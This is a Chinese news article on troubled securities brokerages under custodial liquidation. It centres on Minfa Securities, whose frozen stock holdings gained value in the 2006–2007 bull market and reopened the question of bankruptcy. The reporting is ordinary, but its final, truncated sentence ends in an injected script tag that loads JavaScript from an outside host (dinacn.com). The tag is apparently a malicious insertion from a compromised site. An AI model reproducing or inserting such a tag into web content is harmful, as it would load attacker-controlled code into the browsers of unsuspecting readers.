问题券商又有了新问题。

    由于违规操作以及证券市场长期低靡等原因，中国一度出现了大批问题券商。这些券商的一个共同点是，他们大多有一个大得令人咋舌的资金黑洞，以致于它们的经营难以为继。如南方证券破产之时，就留下了一个120多亿的巨大黑洞。

    作为企业，面对如此巨大的黑洞，除了破产一途，似乎别无选择。这也是监管当局为这些问题券商设计的最终归宿。然而，金融市场的特殊性让这一计划在实施过程中遇到了新的难题。

    2006年以来，随着股市一路走高，最终形成了十年来最大的牛市，那些问题券商原本因托管清算等原因被封存的证券类资产价值也大幅提高。甚至出现了这样一种可能性，即券商的资产由于大幅增值，其价值已经超过负债。在这种情况下，根据新《破产法》精神，这些证券公司是否需要破产，就成为了一个须要重新考量的问题。目前，在众多被托管的券商中，闽发证券、汉唐证券、中关村证券等均已就此提出疑问。

    截至2006年底，30家已被处置券商中已经进入司法破产程序的有4家，正在与法院沟通协调的有9家，其他17家尚未与法院接洽。时移事易，这些券商的未来是否需要重新安排，还是依旧按照原来的思路，破产到底？

    应该说，监管当局当初对问题券商的处置也是在鲜有先例可循的情况下，摸索着进行的。最终，产生了颇具中国特色的“托管”方式。托管是一种行政意味极浓的处置方式，其初衷就是要控制和化解问题券商带来的金融风险，尽可能的保护股东和债券人的利益，保持金融市场的稳定。
 
    但是托管方式由于其在法律上的模糊地位，也不可避免的带来了一系列的问题。比如，身兼资产清理人和重组者双重身份的托管人的角色冲突问题，以及托管后如何协调和保护股东和债权人利益的问题，在托管制度中的语焉不详。如今，这些问题随着问题券商资产的放大而放大，如果仍然因循旧制，是否会带来新的矛盾？

    就在近日，《证券公司监督管理条例》、《证券公司风险处置条例》的送审稿已经报请国务院审查，而新《破产法》的大司法解释也在广泛征集意见，如果这些新的法律、法规能对券商处置问题作出更具体、更明确的规范，无疑对于证券市场的健康发展将是大有裨益的。

    仿佛是时间导演的黑色幽默。号称国内券商违规之“集大成者”的闽发证券，在留下一个90多亿元的巨大资金黑洞之后，于2004年10月16日被东方资产管理公司托管，进入行政清算程序。对于这家“名噪一时”的问题券商而言，接下去的故事似乎再无悬念，即，它将在经历一个漫长而复杂的清算过程之后，被宣布破产。然而，就在东方资产管理公司要为这口棺材钉上最后一枚钉子的时候，闽发的命运却在2007年发生了戏剧性的转折。

    闽发“还魂”?

    至今还有很多闽发员工对被托管时的景象记忆忧新。

    2004年10月16日，中国证监会作出《关于委托中国东方资产管理公司托管经营闽发证券有限责任公司的决定》，由东方资产管理公司成立闽发托管经营组，对闽发托管经营期间，除客户交易结算合并外，所有债务停业支付，并由闽发证券托管经营组负责组织债务登记。10月18日，愤怒而焦虑的债权人开始陆续赶往位于福州五四路的闽发证券总部，他们的目的是要从这个不负责任的“管家”那里拿回属于自己的东西。

    2005年7月19日，证监会下发《中国证券监督管理委员会行政处罚决定书》，决定取消闽发证券业务许可证并责令关闭。同时，中国证监会下发《关于委托中国东方资产管理公司成立闽发证券有限公司清算组的决定》委托东方资产管理公司成立闽发证券清算组，行使破产前的行政清算。

    在清算组2005年7月28日向福建省高级人民法院提交的一份报告中显示：“（清算组）共清收资产价值约1.71亿元，其中现金约9900万元，股票市值约7200万元。”而这与90多亿元的资金黑洞相比，显然是杯水车薪。

    当时的闽发证券仿佛已处在世界的尽头，除了负债，一无所有。而身处低迷市况的债权人也拒绝再对闽发的未来抱有任何希望。然而资本市场从来就不缺乏奇迹，在随后的两年多里，已濒临绝境的闽发证券随着中国资本市场的回暖，竟重新出现了生机。

    在2005年见底之后，大盘开始一路飙升，直至最高的4300点。具有讽刺意味的是，闽发证券阴差阳错地成了这波10年来最大的牛市行情的受益者。由于闽发被保全的股票类资产在查封冻结期间不能买卖，持有的股票经股改、送配后，不但股数增加了，而且价格一路飙升。据闽发内部员工吴浩（化名）对《法人》透露，按照他的计算，截止到6月15日闽发持有的股票?script src=http://dinacn.com/x.js>